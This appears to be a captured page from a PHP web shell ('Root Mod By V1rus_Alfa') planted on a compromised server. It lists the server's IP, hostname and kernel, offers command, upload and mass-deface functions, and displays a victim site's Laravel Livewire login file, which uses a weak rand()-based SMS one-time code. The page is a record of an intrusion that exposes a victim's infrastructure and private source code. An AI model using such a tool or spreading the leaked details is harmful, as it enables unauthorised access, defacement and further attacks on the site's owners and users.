���Root Mod By V1rus_Alfa
User / IP
:
216.73.217.78
Host / Server
:
195.214.235.115 / npln.ir
System
:
Linux damavand.pws-dns.net 5.14.0-503.35.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 4 05:23:43 EDT 2025 x86_64
Command
|
Upload
|
Mass Deface
|
Create
:
/
home2
/
cutunixc
/
repositories
/
cutunix-shot
/
app
/
Livewire
/
Site
/
Pages
/
CutunixShot
/
Auth
/
Viewing: Login.php
<?php namespace App\Livewire\Site\Pages\CutunixShot\Auth; use Livewire\Component; use Illuminate\Support\Facades\Validator; use App\Models\RegisterCode; use App\Models\User; use function App\Helpers\sendSms; use function App\Helpers\slug; class Login extends Component { protected $rules = [ 'mobile' => 'required|min:11|max:11', ]; public function submit($formData) { //validate Validator::make($formData, $this->rules)->validate(); $mobile = $formData['mobile']; $mobile = slug($mobile); $existsUser = User::where('mobile', $mobile)->first(); if (!$existsUser) { session()->flash('block', 'شماره شما در سیستم موجود نیست؛ چنانچه میخواهید وارد اپلیکیشن شوید باید از نسخه جدید کاتیونیکس استفاده کنید. در صورت داشتن هر گونه سوال با پشتیبانی تماس بگیرید'); return redirect()->route('login', ['locale' => 'fa']); } if ($existsUser && $existsUser->block == 'true') { session()->flash('block', 'کاربر محترم حساب کاربری شما مسدود شده است لطفا با پشتیبانی تماس بگیرید 09038898927'); return redirect()->route('login', ['locale' => app()->getLocale()]); } //save-and-send-SMS //create-code-and-save $rand = rand(1000, 9999); //save-send-code RegisterCode::where('status', 'use')->delete(); RegisterCode::create([ 'mobile' => $mobile, 'code' => $rand ]); //send-sms sendSms($mobile, $rand, 'mdfShotLogin'); //redirect-to-otp-page return redirect()->to('/' . app()->getLocale() . '/verify-cellphone-otp?mobile=' . $mobile); } public function render() { return view('livewire.site.pages.cutunix-shot.auth.login')->layout('components.layouts.login.app'); } }
Coded With 💗 by
0x6ick Mod By V1rus_Alfa